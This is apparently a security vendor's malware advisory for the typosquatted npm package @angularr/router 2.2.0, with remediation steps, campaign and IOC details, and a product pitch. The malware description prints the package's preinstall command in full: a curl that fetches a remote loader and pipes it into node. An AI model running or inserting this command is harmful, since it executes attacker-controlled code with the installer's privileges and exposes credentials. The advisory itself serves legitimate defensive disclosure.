Which versions of @angularr/router are malicious?

The following npm versions of @angularr/router are flagged malicious: 2.2.0. Treat any of these as compromised.

How do I remediate @angularr/router if I installed it?

@angularr/router is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/router, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @angularr/router — how do I know if it already compromised me?

If @angularr/router was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angularr/router part of a known attack campaign?

Yes — @angularr/router is associated with the IN-MAL-2026-020909 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angularr/router across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angularr/router (version 2.2.0).

Malicious package

@angularr/routernpm

Advisory published Oct 3, 2026Updated Oct 5, 2026

@angularr/router is a confirmed malicious npm package (MAL-2026-17494) that typosquats a legitimate package to trick installs (malicious version 2.2.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angularr/router (npm)

MAL-2026-17494

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @angularr/router

What this malware does

@angularr/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user hellscripter, proxied via web.archive.org) and piping it directly into Node for execution during npm install. The code executes with the installer's privileges before any package code is loaded. The package name @angularr/router (double-r) resembles @angular/router, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.

Malicious versions

1 flagged

2.2.0

Indicators of compromise (SHA-256)

646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @angularr/router (version 2.2.0).
If you installed it — respond
@angularr/router is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/router, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angularr/router was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angularr/router on npm has been identified as a malicious package (version 2.2.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020909

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder

Detect & block this

O3 blocks @angularr/router-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database